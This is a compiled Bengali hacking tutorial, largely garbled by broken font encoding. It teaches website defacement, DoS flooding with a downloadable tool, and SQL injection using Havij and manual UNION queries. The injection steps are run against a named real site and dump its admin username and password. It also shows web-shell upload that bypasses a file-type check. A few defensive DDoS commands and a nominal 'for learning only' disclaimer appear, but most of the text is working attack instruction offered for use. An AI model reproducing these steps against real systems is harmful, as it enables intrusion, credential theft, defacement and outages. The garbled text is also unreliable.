সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
